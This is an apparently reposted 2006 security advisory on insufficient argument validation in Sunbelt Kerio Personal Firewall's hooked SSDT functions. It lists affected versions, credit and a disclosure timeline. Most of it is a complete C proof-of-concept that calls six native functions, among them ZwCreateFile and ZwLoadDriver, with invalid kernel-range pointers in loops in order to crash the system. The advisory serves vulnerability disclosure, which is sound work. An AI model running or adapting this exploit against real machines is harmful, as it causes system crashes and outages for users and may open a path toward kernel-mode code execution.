|
Brought to you by:
Suppliers of:
|
|
|
| |
Hooking SSDT functions requires extra caution. SSDT function handlers are executed in the kernel mode but their callers are executed in the user mode. Hence all function arguments come from the user mode. This is why it is necessary to validate these arguments properly. Otherwise a simple user call can easily crash the whole system. This bug usually results in a system crash. However, it may happen that this bug is even more dangerous and can lead to the execution of an arbitrary code in the privileged kernel mode.
Sunbelt Kerio Personal Firewall hooks many functions in SSDT and in at least six cases it fails to validate arguments that come from user mode. User calls to NtCreateFile, NtDeleteFile, NtLoadDriver, NtMapViewOfSection, NtOpenFile, NtSetInformationFile with invalid argument values can cause system crashes because of errors in Kerio drivers fwdrv.sys and khips.sys. Further impacts of this bug (like arbitrary code execution in the kernel mode) were not examined. |
| |
Credit:
The information has been provided by David Matousek.
The original article can be found at: http://www.matousec.com/info/advisories/Kerio-Multiple-insufficient-argument-validation-of-hooked-SSDT-functions.php
|
| |
Vulnerable software:
* Sunbelt Kerio Personal Firewall 4.3.268
* Sunbelt Kerio Personal Firewall 4.3.246
* Sunbelt Kerio Personal Firewall 4.2.3.912
Exploit:
/*
Testing program for Multiple insufficient argument validation of hooked SSDT function Vulnerability (BTP00000P001SK)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that cause the crash of the system. This happens because of
insufficient check of function arguments in the driver of the firewall.
Test:
Running the testing program with the name of function from the list of functions with insufficient check
of arguments.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation of hooked SSDT function Vulnerability (BTP00000P001SK)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %d.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtCreateFile") || !stricmp(argv[1],"ZwCreateFile"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,NULL,0,NULL,NULL);
for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300)
ZwCreateFile(&handle,0,&oa,NULL,NULL,0,0,0,0,NULL,0);
} else if (!stricmp(argv[1],"NtDeleteFile") || !stricmp(argv[1],"ZwDeleteFile"))
{
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,(PVOID)-1};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300)
ZwDeleteFile(&oa);
} else if (!stricmp(argv[1],"NtLoadDriver") || !stricmp(argv[1],"ZwLoadDriver"))
{
for (PUNICODE_STRING us=(PVOID)0xFFFF0000;;us-=0x0231)
ZwLoadDriver(us);
} else if (!stricmp(argv[1],"NtMapViewOfSection") || !stricmp(argv[1],"ZwMapViewOfSection"))
{
ZwMapViewOfSection(NULL,NULL,NULL,0,0,NULL,NULL,1,0,0);
} else if (!stricmp(argv[1],"NtOpenFile") || !stricmp(argv[1],"ZwOpenFile"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,(PVOID)-1};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (oa.ObjectName=(PVOID)0xFFFFFF00;;oa.ObjectName-=0x4321)
ZwOpenFile(&handle,0,&oa,NULL,0,0);
} else if (!stricmp(argv[1],"NtSetInformationFile") || !stricmp(argv[1],"ZwSetInformationFile"))
{
for (ULONG code=0xFFFFFF00;;code-=0x4321)
ZwSetInformationFile(NULL,NULL,(PVOID)code,code,13);
} else printf("\nI do not know how to exploit the vulnerability using this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}
Disclosure Timeline:
2006-10-01: Advisory released
2006-08-12: Vendor notification
|
|
|
|
|